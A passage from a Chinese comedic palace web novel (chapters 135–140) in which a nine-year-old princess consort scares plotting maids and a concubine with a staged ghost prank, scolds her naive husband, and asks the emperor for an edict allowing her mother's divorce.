冷蕴菀没好气地瞪了他一眼:“你说呢?还不是你这里的动静给闹的。”
“我?”
司徒砚歪了歪头桃花眼中满是困惑:“可是我没乱动啊。”
他只是趴在上铺默默地做头发而已啊!
司徒砚想了想恍然大悟指着地上跪着的三人道:“我知道了是她们吵醒娘的!”
“她们偷偷溜进来睡我下铺,还大喊大
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叫,吵死人了!”
冷蕴菀无语摇头。
谢元棠笑了下,扶着她坐在椅子上:“娘别着急,您先坐,这件事交给女儿处理。”
她转头看向言枫等人,小脸一绷,沉声问:“怎么回事?你们四个同时睡着了?”
四人:“……”
小皇妃的阴阳怪气,一向是很有一套的!
言枫咳嗽了声道:“我们以为,黎休他们既然放了人进来,那定然是皇子妃您的命令,所以就……”
黎休吞吞吐吐道:“我见言枫和言墨没动,以为他们另有安排,就没自作主张……”
谢元棠无语地翻了个白眼。
她走过去,先走到罗吉面前:“笨!”
罗吉:“……”
再走到黎休面前,讽笑一声,阴阳怪气道:“哟哟哟~佛音阁呢!高手呀!”
黎休:“……”别说了,脸都丢完了。
再看向言枫言墨,小手拍拍两人的胳膊,诚恳道:“我现在算是明白,为什么以前夫君明明有你们二人保护,却依然会遭遇那么多次暗杀了。”
言枫言墨:“……”一句扎心!
罗吉悄悄松了口气。
相比其他三个,他那句“笨”简直算的上是夸奖了!
四人二话不说跪下:“请殿下恕罪,请皇子妃惩罚。”
司徒砚不明所以:“娘子,他们怎么了呀?”
谢元棠一巴掌拍他手上:“你闭嘴,待会儿才轮到你!”
司徒砚捂着被拍疼的手,委屈兮兮地低下头。
他什么也没干啊,娘子怎么就生气了呢?
谢元棠挨个训过言枫等人,只撂下一句话:“明天开始,你们四个都给我回佛音阁找无尘去,该培训培训,该反思反思!”
“说的简单点就是,返送回厂,重新练号!”
四人脸色齐变,尤其黎休,一想到佛音阁的特训,脸都苦成了黄连。
“……是。”
四个人出门罚站。
谢元棠这才看向三个跪地的丫鬟。
“你们三个……”
谢元棠微微一笑,笑得犹如死神:“很喜欢爬床是不是?”
“来来来,我这里有个饿了么订单,你们要接吗?”
第135章 怨鬼索命!
她们听见了什么?
接啥?
三人呆呆地抬起头。
大椿傻傻乎乎:“饿了什么?”
二椿哆哆嗦嗦:“什么订单?”
三椿结结巴巴:“我不饿我不吃我就想活,你找她俩吧呜呜呜……”
大椿二椿:“……”真姐妹,插刀永不手软!
谢元棠笑了。
在冷蕴菀身边的椅子上坐下,小手轻轻敲了敲桌面。
“听不懂啊?没关系,反正我也不会解释的。”
三人:“……”
司徒砚眨眨眼:这句话好有逼格,记下来记下来,以后用!
冷蕴菀:她女儿好嚣张好狂好帅!
谢元棠伸出一根手指,缓缓开口:“给你们两个选择。”
“第一,后院还有个坑位……”
“二二二二二!”
话没说完,三丫鬟就异口同声地嚎道:“求求了,我们选二!”
“坑位”这两个字一出,就让人一拘灵!
自从上回的事以后,整个谢府谁不知道这小祖宗最喜欢挖坑!
“选二呀——”
听到她们的答案,谢元棠笑得更灿烂了,小手一拍脆生生道:“太好了~棠棠也想让你们选二呢!”
“来人呀,准备纸笔,白衣,鸡血。”
“是……啊?”
言枫脑袋点到一半,懵逼抬头:“纸笔,白衣,鸡血?”
小皇妃您是如何将这三种不同种类的东西归类到一块儿的?
谢元棠让三人将谁在背后算计的这一切,如何丢手绢如何爬床细节写清楚,并签字画押。
然后又让三人全都换上白衣,散着头发。
再抹上煞白煞白的粉,和血红血红的唇!
“嗯……像那么回事了。”
谢元棠看着面前三个新出炉的女鬼,笑嘻嘻招招手:“三位姐姐,过来,咱们聊聊订单的事儿呀~”
大椿二椿哭唧唧地挪过来,三椿撅着屁股想偷跑,被言墨揪着衣领给揪了回来。
“魏莲和谢雨沫既然想让你们爬床,那你们就爬给她看。”
谢元棠笑得邪门:“大椿去钻魏莲的被窝,二椿钻她床底下,三椿去爬谢雨沫的床。”
“你们刚才怎么溜进来的,就怎么再溜回去。”
谢元棠眯了眯眼,小手把玩着那把匕首。
明明刀刃锋利的匕首,在她手中却跟树枝一样老实,被她小手指转来转去。
三分可爱,七分危险。
“不过记住一点哦~”
“任务只许成功不许失败,否则我就当你们故意不给我面子,到时候……”
话音一顿,匕首“叮”的一声插入桌面。
“到时候,后院的坑位还是你们的。”
三人听到这里,腿一软跪在地上:“奴婢保证完成任务,求小皇妃别活埋我们了!”
呜呜呜~额们真滴错了!额们从一开始就不应该听魏莲的话,如果额们没有往院子里扔手绢,没有偷偷潜进来企图勾引司徒砚,那就不会招惹到谢元棠这个煞星,就不会接这个饿了么订单……
三人在无尽的后悔中哆哆嗦嗦地被言枫等人押了出去,去执行她们的饿了么订单!
这一晚整个后半夜。
谢府都在鸡飞狗跳中度过!
先是魏莲的房间。
她正睡得迷糊,一翻身搂住一个身影。
第一反应还以为是谢兆青回来了,抬手就朝那人衣服里面摸了过去,一边黏黏糊糊地压住对方:“老爷~您可回来了,莲莲还以为您不喜人家了呢~”
“哎呀您颤抖什么呀?快过来给莲莲亲亲~么么……”
刚亲了一下脸颊,魏莲突然一惊。
谢兆青那老鳖怎么可能口感这么柔软?
而且……这手感……
“你是谁?”
魏莲一个激灵醒过来,睁眼就朝身下看去。
这一睁眼,却看见一张煞白的冤魂脸!
还长着一张血盆大口!
“啊啊啊啊!”
魏莲惊叫一声,转身就往床下跑。
正打算弯腰穿鞋,突然一只手从床底伸出来,举着她的鞋,幽幽道:
“给你鞋……”
看着那只手,魏莲呼吸都停了!
“妈呀!怨鬼索命了啊!快来人,救命啊啊啊啊!”
她鞋也不要了,赤着脚就往外面跑。
刚跑出门,“哗啦”一声。
一盆鸡血从天而降,正
泼了她一声!
魏莲一屁股坐在
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鸡血里,彻底吓痴傻了,只嘴里念叨着:
“不是我,不是我,别来找我,别来找我……
刚念叨着,另一间房间里,谢雨沫大哭着冲了出来:“娘救命啊,有鬼呀!
在她身后,三椿撅着屁股追,一边追还一边哭:
“呜呜呜你别跑啊,追不上你我会很麻烦的……
她这么一哭,谢雨沫顿时跑得更快了!
刚跑到魏莲门前,一抬头,就看见门口坐着个雪人。
谢雨沫:“……嗝!
两眼一翻晕死了过去!
“雨沫,雨……啊!
魏莲刚想朝女儿爬过去,冷不丁三只女鬼都朝她围了过来。
看着那三张鬼脸,魏莲呼吸一滞,顿时一口气没提上来,也晕了!
看着晕过去的母女俩,大椿小声问:“咱们……算完成任务了吗?
二椿摇摇头:“不知道,我不想被活埋呜呜呜……
“我不管了我先跑了……
三椿转身就想溜,被大椿二椿集体扯住后腿。
黎休站在屋顶看着这一幕,心里不由感慨。
他们小皇妃可是真有主意啊!
今晚这一番操作,换了旁人来,轻则抓住魏莲母女,重则惩罚杖责。
但不管哪个,都挺费力气。
可谢元棠一不抓你二不罚你,甚至都不跟你见面说话,懒得跟你掰扯是非曲直!
你不是找人爬床吗?
那我让她们再爬回去,没问题吧?
只这一招以彼之道还治彼身,就足够让魏莲母女牢记今晚的噩梦,以后再也不敢挑衅她!
“阁主啊,我现在才明白,为什么您会对一个九岁小丫头另眼相看了。
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黎休叹了口气,低声自言自语。
就这霹雳手段,你不另眼相看,那等待你的下场就是没眼可看了。
想到这里,黎休不由蹙眉。
一个九岁的小姑娘,真的能这么厉害吗?
今天晚上,连他和言枫几个,都有一瞬间被吓到。
谢元棠为何始终淡定?
她不知道什么叫害怕吗?
第136章 娘子想打就打吧,我保证不跑了!
屋子里,司徒砚也正在问这个问题。
“娘子,你不害怕吗?”
司徒砚摆弄着自己的长发:“连言枫他们进门的时候都被我吓到了呢。”
冷蕴菀也好奇地看过来:“对啊,棠儿,你要是怕就跟娘说,别自己强忍着。”
“害怕?”
跟一个长在末世,睡在丧尸堆的人谈害怕?
谢元棠眨眨眼,十分不解:“夫君你长得这么好看,我为什么要害怕?”
一边说话,她一边伸手,从衣服里掏出只有一个脑袋的五号。
小手还亲切地摸了摸五号那张丧尸脸。
“我天天抱着五号睡觉,要是害怕不早被吓死了?”
“嘶!”
司徒砚还没反应,另一边冷蕴菀吓得跳了起来:
“棠儿,你你你……天天晚上都抱着它睡?”
谢元棠点点头:“对呀,五号就躺在我跟娘亲中间呢!”
冷蕴菀:“……”
什么东西?
睡在哪儿?
一时间冷蕴菀脑子里转过无数个念头。
例如:
我女儿喜欢这鬼玩意儿,我要是不喜欢会不会跟她有代沟?
哦老天,我竟然抱着它睡了这么多天,好想晕……
“娘?”
谢元棠疑惑地看着冷蕴菀:“您怎么了?您是不是害怕五号?”
冷蕴菀摇摇头,干笑着道:“没,娘可是将门出身,怎么会怕这个小……小可爱,娘只是有点累了。”
“那我扶娘亲回去歇息。”
谢元棠殷勤地跑到冷蕴菀身边,搀扶着她道:“娘先去睡,我还要跟夫君玩一会儿。”
“嗯好,别玩太晚了,早点休息。”
冷蕴菀走到门口,又回头看了眼五号,欲言又止地张合了下嘴巴,满脸复杂,晕晕乎乎地离开了。
等冷蕴菀一走,屋子里就只剩下谢元棠和司徒砚两个人了。
言枫言墨守在门口,此刻都不由替他家殿下捏了把汗。
小皇妃该不会……弄死他们殿下吧?
“呵。”
屋子里,谢元棠冷笑一声。
言枫言墨顿时抖了下,小心翼翼地回头看了眼。
就看见谢元棠小身子倚在椅子里,翘着二郎腿。
而司徒砚乖巧地站在她面前,跟犯了错等着被训的大狗狗似的。
“娘子……
司徒砚眼巴巴望着她:“你别笑了,我害怕。
谢元棠挑眉,小脚丫压了压,冷笑两声。
“怕?让人钻你被窝的时候怎么没见你怕?
“司徒砚你行啊,看不出来你竟然玩得这么花!
门外,言枫搓了搓胳膊上的鸡皮疙瘩,言墨默默地往外又挪了挪脚尖。
这强大的威压,这恐怖的反问句。
殿下,你千万要撑住啊!
司徒砚呆呆地看着谢元棠,歪了歪头:“花?我不会玩花啊,我还没学到那儿呢,现在只会绑丸子头。
谢元棠:“……
鸡同鸭讲。
她呼了口气:“算了,我浪费什么口舌。
一边说,她一边曲起腿,先踩住椅子,再踩上桌子。
言枫和言墨听着这声儿不对,赶紧回头。
一转头就看见谢元棠在缓缓地卷袖子:“明明用拳头就能解决的事情,何必这么麻烦呢?
言枫言墨顿时一惊,连忙就想冲进来。
“皇子妃息怒啊!
“皇子妃有话好好说,别打啊!
谢元棠沉着脸扫他们一眼:“出去!没我命令不准进来!
言枫一顿,言墨犹豫地看着司徒砚。
司徒砚还没意识到将要发生什么,他转头疑惑地看着言枫言墨:“你们进来干吗?别打扰我和娘子说话,没看娘子都被你们惹生气了。
言枫言墨:“……
就是说,有没有可能,你的娘子是被你惹毛的呢?
两位主子都发话了,言枫和言墨就算护主心切,这会儿也只能退了出去。
“碰。
房门关上。
下一瞬,司徒砚的惨叫声就响了起来。
“啊不要啊……娘子我不敢了,不要啊!
言枫咽了口口水,转头看言墨:“咱们要不要冲进去,带上主子跑路?
言墨郁闷:“跑哪儿?主子会跟咱们跑吗?
“……
两人面面相觑,言墨犹
豫道:“再听听。
屋子里响动不断,只是听着听着,两
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人忽然觉得,似乎跟他们想的不太一样。
因为司徒砚的声音是这样式儿的:
“啊啊啊娘子,不要把五号贴我脸上,好恶心呀……
“哈哈哈哈娘子我错了,别挠我痒痒,我真知道错了……
“唔唔唔娘子我能不能不蛙跳了?好累啊……也不倒立行不行?
言枫言墨:“……
这是什么新型的训夫大法?
怪……齁甜的。
合着是他们想多了,他们小皇妃总会出其不意,用最人道的方式,行最不人道的事情!
一门之隔。
继蛙跳,倒立之后……
谢元棠看着还没意识到自己的错误,甚至还以为他们是在玩游戏,一直嬉皮笑脸的司徒砚,气得终于拿出了终极武器——鸡毛掸子!
一见她拿鸡毛掸子,司徒元一愣,撒丫子就跑!
两人绕桌子,绕屏风,绕上下铺,你追我逃!
几圈下来,谢元棠就气喘吁吁了。
她瞪着大气都不带喘一下的司徒砚,气得一边喘气一边挥着鸡毛掸子:
“司徒砚,你有种别跑!
司徒砚摇摇头,躲在桌子后面:“我不知道我有没有种,但这个我必须跑啊娘子!
“是娘子你教我的,宁可跑得累死,也不能站着挨打。
“你……
什么叫教会学生累死师父,这就是了!
谢元棠气得咬牙:“好啊,今天我不教训你,你就不知道大佬棠的力气和手段!呀呀呀……看招!
说着,一招猛兔扑食,朝着司徒砚就扑了过去。
只是气极之下,谢元棠忘了被扔在地上的五号。
一不小心,小脚丫一脚踩在五号的脸上,顿时“哎呀一声,整个人都滑了一下,往前栽了下去。
“娘子小心!
司徒砚一惊,连忙大步一迈伸手接住她。
司徒砚往后退了两步,大手扣住了桌角才堪堪站稳。
谢元棠栽在他身上,一点没摔着。
一抬头,红彤彤的小脸还瞪着司徒砚,呼哧呼哧地喘着粗气。
“怎么气成这样?
司徒砚蹙眉,低头揉揉她的脸:“有没有撞疼?
“娘子别生我气了,你想打就打吧,我保证不跑了。
第137章 都是言枫的错!
司徒砚将谢元棠放好在椅子上。
高瘦的身躯在她面前缓缓低下头颅,弯腰,单膝及地蹲下,好让视线与她平齐。
那双澄澈的桃花眼中有担心,有自责,还有因为自己不理解而生起的焦急。
“娘子,你不是在跟我玩游戏,你真的生气了对不对?为什么?”
谢元棠小脸圆乎乎地,奶凶奶凶地等着他:“你不知道为什么?”
“不知道……是因为那三个女鬼吗?”
司徒砚似懂非懂地蹙着眉:“可是她们做了错事,娘子为什么要生我的气呢?”
他大手缓缓抬起,轻轻捧着谢元棠的小脸。
“娘子,你告诉我我哪里做错了,我会改的,你不要生气好不好?我不想你生气。”
修长的手指轻轻触碰到她的侧脸,极淡的血腥味飘散开。
谢元棠怔了下,一时顾不得生气,小手一把抓过他的大手:“你流血了?”
带着薄茧的指尖和指腹上,有几道刚划出的血痕。
明显是方才为了接住她,扣着桌角的时候伤到的。
谢元棠抿了抿唇,抬眸看他。
“受伤了怎么不说?”
说话的同时,跑去抽屉里拿药膏出来,想了想,又悄悄从空间研究室里拿了防水绷带。
司徒砚看着她叮叮咚咚地找东西,巴巴地跟在她身后:“娘子不要找药了,我不疼的,以前我也经常受伤的。”
“有时候是手,有时候是腿,虽然不知道是怎么伤的,但歇两天就都好了。”
谢元棠挑了挑眉,没问他为什么不记得。
这话司徒砚以前就说过,再加上无尘等人的诡异态度,谢元棠也大概猜出点名堂来。
只是目前没什么异样,她并不打算主动去戳破什么。
拿好药膏,她走回来拉着他坐下:“伸手,我帮你消毒。”
“哦。”
“有点疼,忍着别动昂。”
“嗯嗯,我不动。”
司徒砚乖乖点头,歪着头看她:“娘子,你不生我气了吧?”
谢元棠没说话,她低着头帮司徒砚处理手上的伤口,用镊子将血缝中细小的木渣夹出来。
看那只手血点斑斑的样子,她忽然有些自
责。
明明知道他不通世俗不懂常识她为什么要发火呢?
要说错那也是言枫的错!
谢元棠帮他每个手指都缠好绷带抬头看着他道:“我也不是想生你的气就是……”
“就是什么?”
谢元棠叹了口气看着面前的大狗狗额头碰了他额头一下:“笨夫君我不是教过你不可以让陌生人进屋吗?万一她们是坏人呢?万一对想要对你下毒或者刺杀你呢?”
“可是言枫他们既然放人进来说明她们是好人吧?”
司徒砚眨眨眼了然了:“所以不是我的错是言枫的错!”
屋外的言枫:“……”
没想到傻夫君在这个时候还知道狡辩谢元棠好笑地白了他一眼:“言枫有错你就没错了吗?什么都让言枫来判断他那么笨出了错怎么办?”
言枫:“……”你俩够了昂!
司徒砚老实反省:“我知道错了娘子以后我再也不让陌生人进屋了。”
谢元棠伸出两根手指:“第二你竟然让她们睡我的床!用我的被子!”
说到这儿她的小暴脾气就没忍住:“我可没让别人用过你的东西!”
司徒砚被训得一愣嘴笨地解释:“不是我本来要赶她们出去的
“娘子你不是教过我以静制动静观其变吗?”
谢元棠:“……”怎么还成她错了?
她皱紧眉头:“司徒砚你什么时候这么会狡辩了?明明就是你的错!”
“你容许她们挑衅我的尊严这让外面的人怎么看我这个皇子妃?”
“虽然我们以后可能会分开你可能会另娶妻但那也是以后的事你现在敢给我戴绿帽子我就敢把你先化学阉割再物理阉割了!”
她一口气说完嘟着小嘴气呼呼地瞪着司徒砚。
司徒砚只困惑地挠了挠头:“为什么我们会分开?为什么我还
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要娶妻?我已经有娘子了啊。”
谢元棠一噎小手一挥道:“这不是重点重点是……”
“这就是重点。”
司徒砚第一次打断她严肃地看着她道:“我不要和娘子分开
,也不要别的娘子,娘子也不许和我分开。
谢元棠顿了下,小声嘀咕:“那可不好说。
就算他们现在绑定的再死,那离未来还遥远着呢,她可不会这么早就决定一辈子的事。
谢元棠以为自己声音低,却不想司徒砚耳朵够尖,听得清清楚楚,顿时气得伸出手,微微用力捧住她的脸。
将她的脸和嘴都捧得有点往中间凸起变形。
“不许你这么说!不然我要生气了!
一向乖巧听话的司徒砚,第一次生出执拗,表达出自己不可退让的底线——那就是她不可以离开他。
无关情爱和欲望,只是单纯的将这个人视为自己一生最重要的珍宝。
谢元棠被他大手挤得两个腮帮子气鼓鼓的,看起来跟河豚似的,实在可爱。
她嘟着嘴,模糊不清地点点头道:“唔几道啦,晃开唔啦~
司徒砚松了口气,天真的以为她这就算答应他了。
薄唇一勾,露出满足的笑。
眼神重新变得澄清单纯。
谢元棠小手拍拍他的手背,口齿不清地说:“晃开晃开,继续唆你的问题,你样她们挑衅唔……
她说话时,司徒砚视线一直落在那气鼓鼓的小脸蛋上。
突然,手痒地伸手戳了一下。
“噗!
谢元棠嘴巴一嘟,漏气了。
丢人,太丢人了!
这简直是在挑衅她大佬棠的逼格!
谢元棠整个人都震惊了,睁大眼盯着眼前倒反天罡的夫君,气得一把推开他:“司徒砚,你造反啊?
司徒砚笑着捏她的脸,一点也不怕她生气,闻言摇摇头道:“不造啊,聪明人才造反的,我傻,造不动。
谢元棠:“……
这架是一点都吵不下去了!
第138章 父皇,这事儿你都知道了?
最终,谢元棠都没有真的罚司徒砚什么。
所谓雷声大,雨点小。
结果承受一切的,只有言枫一个人!
次日。
谢元棠一大早就跟司徒砚上学堂去了,临走前专门叮嘱,今天谁来也不用开门。
如果有人欺负她娘亲,不用讲道理,直接绑了扔出去!
学堂。
谢元棠有好些日子没来了。
这天一走进来,竟意外的发现司徒煦和司徒凤也在。
“哟,三妹,六弟,早上好呀!”
谢元棠一边吃着肉包子一边笑着跟两人打招呼。
司徒凤撇了撇嘴,嫌弃地嘟囔了一句:“什么吃相,难看死了。”
说罢,却又忍不住嘴馋地凑过来:“哪买的?好吃吗?”
谢元棠白了她一眼,从包装纸里拿出一个热腾腾的包子递给她。
“你个馋嘴丫头,想吃就说想吃吧,还非要嘴贱叨叨我一句。”
“也就是嫂子我大度,不跟你计较。”
司徒凤一边吃着包子,一边敷衍点头:“是是是,五嫂你最大度。”
许是被谢元棠混久了,她竟也不觉得有一个九岁的小嫂子是什么难事,甚至一句“五嫂”也能自然自然地叫出来。
谢元棠拿着包子看向一边坐的司徒煦,嘻嘻一笑:“六儿,吃包子吗?嫂子给你啊。”
司徒煦:“……”谢谢,吃不下。
他不是他那傻白甜姐姐,这句“嫂子”他可习惯不了。
他不捧出,谢元棠也不当回事,转手就把剩下那个包子递给了孙逢必。
孙逢必受宠若惊:“这可是京味楼的包子!至少排队一个时辰才能买到啊,我真的有幸能吃吗?”
谢元棠不在意地摆摆手道:“吃吧吃吧,当做你教我夫君那么多的谢礼。”
司徒砚跟着点头:“嗯,必姥爷教我可多了,得谢,明天我还给你买包子!”
孙逢必怔了怔,他自问也没教司徒砚啥,却不想随口说的两句瞎话常识,就让对方如此感谢,顿时一心复杂,叼着包子当下就对司徒砚一作揖道:“五殿下你放心,以后我要是还有会的,一定都教给你!”
“不用不用,我现在就有点事想请教你。”
司徒砚朝他招招手小声问:“你能不能告诉我阉割是什么意思?”
昨天谢元棠说要物理阉割化学阉割他他当时不懂就想着今天来问孙逢必呢。
孙逢必:“……”
无惊无险的在学堂度过大半天。
下午的时候谢元棠还想着要以什么借口去见司徒擎一面结果没等她想出来就在门口看见了曲培的声音。
“殿下小皇妃皇上让奴才来接两位过去赶紧的吧。”
谢元棠空着手跑在前面司徒砚乖乖地背着他们两个人的书包跟在后面。
“曲公公父皇叫我们有什么事呀?该不会我又犯错了要罚我吧?”谢元棠亲切地凑到曲培跟前仰着小脸问道。
曲培笑着道:“哪能啊这不是上回您和殿下落井皇上担心你们所以才把你们叫到跟前看看嘛。”
谢元棠“哦”了声
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司徒煦眯了眯眼微笑道:“不了我还有旁的事。”
说罢他才转身离开。
谢元棠摸着下巴对司徒砚道:“夫君你觉不觉得四哥出事以后六弟就跟失恋了似的形单影只的。”
“嗯……像。”
司徒砚点点头想了想道:“也可能真失恋了。”
还没走远的司徒煦:“……”他今天就不该来!
曲培好笑地看着两人他在这宫里半辈子见惯了勾引斗角是以觉得谢元棠和司徒砚的坦率难能可贵也愿意在他的能力范围内帮他们一把。
“小皇妃咱们快走吧皇上等了有一会儿了呢。”
“哎呀!那棠棠可不敢让父皇等!”
谢元棠一听这话拉着司徒砚的手就往前窜了出去:“夫君跑快点!省得父皇待会儿嫌咱们跑得慢。”
“嗯嗯父皇可容易生气了!”
曲培:“……”你俩就庆幸这话没被皇上听见吧。
——
乾心殿。
司徒擎看着气喘吁吁的两人蹙眉:“你俩跑这么急干吗?”
司徒砚脱口而出:“因为怕父皇你生
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……唔!”
话没说完就被
谢元棠一巴掌拍了回去。
谢元棠笑嘻嘻道:“没有没有,就是棠棠和夫君想念父皇了,所以急着来见您而已。”
司徒擎:“……”你看朕信吗?
看着小丫头那机灵的样子,司徒擎又气不起来。
他朝两人招招手道:“过来让朕看看,这两日身体都还好?御医开的药可都按时吃了?”
“好着嘞~”
谢元棠挥挥小拳头:“父皇,棠棠觉得我现在壮的都可以打死一头牛了!”
“嗤。”
司徒擎抬手敲了她脑门一下:“就你还打死一头牛?朕看你给牛当饲料都不够!”
“不要敲娘子的头,父皇你怎么总记不住?”
司徒砚不悦地拉过谢元棠,蹙眉盯着司徒擎。
司徒擎:“……”他又被儿子训了?
开口想说两句话振振父纲,但看着儿子和小儿媳又活蹦乱跳地站在他面前,说着不着边际的话,司徒擎就又觉得,那点小事都不重要了。
算了,不过是被儿子训一嘴而已,那他也确实有点不对嘛。
曲培这会儿才跟上来,扶着门框喘气:“小皇妃,殿下……你们跑得也太快了。”
司徒擎好笑地看着他:“歇着去歇着去,瞧你喘的,朕不差你一个人伺候。”
“是,谢……谢皇上。”
曲培弯着腰道:“奴才在外间坐,坐一下,就,就过来服侍。”
“曲公公喝茶。”谢元棠递过去一杯茶,曲培道了谢喝了,这才觉得缓过劲来。
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等曲培退下,乾心殿再也没有外人。
司徒擎才缓缓开口:“听说,你们去了谢府,还在那里大闹了一场?”
谢元棠挑眉:“父皇,这事儿你都知道了?”
“哼,早朝刚退,谢府的下人就找到宫门口了,朕能不知道吗?”
司徒擎没好气地冷哼一声,正准备说什么,谢元棠就截住他的话道:
“这么说父皇也知道半夜有丫鬟潜入夫君房间的事情了?”
第139章 求一道圣旨!
“什……什么玩意儿?”
司徒擎蹙起眉心,看看谢元棠,又看看司徒砚:“半夜,丫鬟,进砚儿的房间?”
这几个字他都认识,但怎么排列起来就让人听不懂呢?
就他这傻儿子,也有丫鬟敢起心思?
“是呀,而且还不是一个哦~”
谢元棠伸出三根手指:“是三个呢~都钻被窝去了!”
司徒擎愣了愣,意外地看着儿子:“砚儿,此事当真?”
司徒砚点头:“真的。”
“三个丫鬟,都进了你的被窝?”
“进了。”
司徒擎欲言又止,张了张口,半晌憋出一句:“……朕小看你了。”
司徒砚眨眨眼,总感觉这句话不太像是夸奖,但还是乖巧道:“没事,父皇以后别小看我就好了。”
司徒擎:“……”
他又转头看向谢元棠,叹了口气道:“朕也错想了你了元棠。”
他以前还觉得这小丫头是个睚眦必报,眼里揉不得沙子的人。
没想到发生了这种事,她都没弄死他儿子,真是气量非凡啊!
谢元棠挑了挑眉,这话……怎么有点不中听嘞?
“那你们现在是想……”
司徒擎猜测着问:“将那三个丫鬟收为妾室?”
这话一出,方才没听懂他说话的谢元棠和司徒砚顿时惊怒。
一大一小两人表情惊奇一致,瞪着圆溜溜的眼睛,气呼呼地,异口同声道:
“父皇,您怎么可以这样想?我真是看错你了!”
司徒擎:“……”
司徒擎也惊了,看着儿子:“难道你是不想负责?”
司徒砚:“为什么负责?我又没有被她们睡成!”
“没……成?”
司徒擎听糊涂了,司徒砚还气着,皱紧眉头严肃地道:“我才不会给娘子戴绿帽子呢!父皇你不许污蔑我,我的男德守得好好的!”
“还有哦~我问过孙逢必了,他说我还是处,干净着呢!”
“咳咳……”
司徒擎猛地咳嗽起来,摆摆手道:“倒也不用说这么详细。”
“哎,夫君,你理解一下父皇吧。”
谢元棠小手勾了勾司徒
砚的尾指,感慨地晃了晃小脑袋:“成年人的世界,思想已经不纯洁了。”
司徒砚恍然大悟:“哦~我懂了,必姥爷说他脑子里都是黄色废料,父皇也是这样吗?”
司徒擎:“……”
他到底为什么要一时兴起把这俩玩意儿叫到跟前?
是大臣们的马屁不动听,还是嫔妃们的伺候不舒坦,非要听着俩东西阴阳怪气他!
眼看司徒擎快毛了,谢元棠眼珠一转,知道今天大概就能放肆到这儿了。
大老虎嘛,偶尔逗一逗很好玩,但逗急了就要吃人了!
谢元棠嘻嘻一笑,跟司徒砚使了个眼色,两人一块儿凑过去。
司徒砚捏肩,她捶胳膊。
舔狗一条龙服务,被他俩玩得驾轻就熟。
“父皇,我们刚才那是说必姥爷的,也不是说您的哦,您可是最英明神武的父皇,棠棠和夫君都最崇拜您了呢~”
“哼!”
司徒擎没好气地冷哼一声。
谢元棠冲司徒砚使了个眼色,司徒砚眨眨眼,想着今天去学堂路上跟谢元棠学的撒娇大法,笨拙地伸手搂住司徒擎的胳膊。
“父皇,您帮帮砚儿吧,她们老欺负我~”
司徒擎:“……”
换个人他肯定受不了,但这个儿子……长得太好看了。
撒娇撒得一点都不娘不油,还恰到好处引人怜惜。
他叹了口气,见胳膊从司徒砚手中抽出来,绷着脸冷声道:“你俩到底想说什么,说吧。”
铺垫这么多,他要是还听不出来这俩人有求于他,这个皇帝就白当了。
谢元棠嘿嘿一笑,小手伸进小挎包,将那三个丫鬟的口供给拿了出来,摆在司徒擎面前:“父皇,这是她们自己交代的哦,您看看多过分!”
司徒擎挑了挑眉,打眼扫了眼那份口供,本来没当回事,但越看,眉头就皱得越紧,气得将口供往桌上一拍:“岂有此理!”
“谢兆青竟纵容他的妾室如此胡作非为,他这个丞相是不相干了吗?”
“来人,去将那个叫魏什么的……”
正想叫人去将魏莲抓起来,没等说完,谢元棠就在一旁小声道:“
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父皇,魏莲这会儿恐怕还晕着呢。”
“嗯?”
司徒擎蹙眉:“她为什么会晕?
谢元棠嘻嘻一笑,将她昨夜做的好事简单讲了一遍。
听完整个过程的司徒擎:“……为什么你们总能把日子过得这么刺激?
“既然谢府这么乱,谢兆青又如此纵容,那你们今日就搬回皇子府……
“那可不行。
谢元棠小脑袋摇成了拨浪鼓:“棠棠还要留下保护娘亲呢。
司徒砚跟着摇头:“砚儿也要保护娘。
司徒擎微怔,这还是他头一次听见司徒砚对冷蕴菀的称呼。
他顿了顿问:“那你们想如何?
谢元棠大眼睛灵动地呼扇呼扇,托着腮趴在桌子上,跟司徒擎商量:“父皇,棠棠不用您烦心,不管是有人闹事,还是欺负夫君,棠棠都会处理好的,只是有一件事棠棠做不到,想跟父皇您求道圣旨。
“哦?何事?
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司徒擎是真有些好奇,小丫头一向虎惯了,竟还有如此认真求他的时候。
谢元棠眨眨黑白分明的大眼睛:“我爹对我娘不好,我娘亲吃尽了苦,但如今想跟他和离又少不得闲言碎语,棠棠不想娘亲受委屈,所以想跟父皇您求道圣旨,赐我娘和我爹和离。
“赐和离?
司徒擎蹙眉:“元棠,你可知这样的圣旨,本朝从未有过先例。
“先不说符不符合祖训,且说如今谢兆青已有悔改之意,就算朕愿意下这道圣旨,也不是合适的时机啊。
谢元棠一点都不着急,小脸上带着笃定的自信道:
“这个父皇您不用管,合适的时机马上就会有了!
她深吸口气,一字一句道:
“只要您允诺,届时若我真能抓住这个时机,还请父皇一道圣旨降下,给我娘亲该有的尊荣。
“让她即便离开,也能堂堂正正挺直腰背的离开。
谢兆青亏欠她娘亲的荣耀,她要在两人和离时,全都补给她娘亲!
“我要我娘亲是奉旨和离,而不是被弃下堂!
第140章 棠棠终于把你等来了!
曲培歇了片刻,等他再回去的时候,就发现谢元棠和司徒砚已经离开了。
而司徒擎正靠在龙椅上,疲惫地揉着太阳穴。
曲培见怪不怪。
每一次不见五皇子夫妇的时候,皇上就想得慌。
然而一见完,就开始头疼上火。
这大概就是传说中的“远香近臭”吧!
曲培走过去,小心翼翼问:“皇上,殿下和小皇妃又给您出难题了?”
“嗤。”
司徒擎苦笑:“他俩要是一日不闹出点事来,那朕才是稀奇了。”
曲培:“……”那您还总念叨他们,分明就是宠着纵着嘛。
司徒擎叹了口气:“砚儿倒是还好,只是小元棠真是主意太多了,一会儿一个想法,实在是个小人精。”
曲培目光微闪,想了想道:“小皇妃还是个孩子呢,孩子嘛,想法都是天马行空的,大了就好了。”
“再说自从有了小皇妃的陪伴,五殿下眼瞅着越来越好了呢,以后定会更好的。”
听着这话,司徒擎眼中才流露出笑意,轻笑道:“这倒是,今儿竟还敢跟朕撒起娇来了,脑子灵光了,说话也利索,比过去强了不少。”
“许是因为小皇妃天真机灵,让五殿下觉得安全又纯洁,所以才会激发了他的潜能吧。”曲培微笑道。
“或许吧,只是……”
司徒擎微微敛眸,语气有些低沉,别有意味道:“只怕有人,不见得想要砚儿好啊……”
曲培怔了怔:“您是说……”
司徒擎摇摇头,沉声道:
“朕那几个儿子们,有才学兼备的,有能力出众的,可是……论及气量,却还不够。”
他之前最喜老四,就是因为老四看似嚣张跋扈,实则也是几个儿子里最坦率公正的。
可就是这样的老四,都做出了残杀手足的事情,都容不下司徒砚和谢元棠,其他几个就更不好说了……
司徒擎伸出手指,再度揉了揉太阳穴。
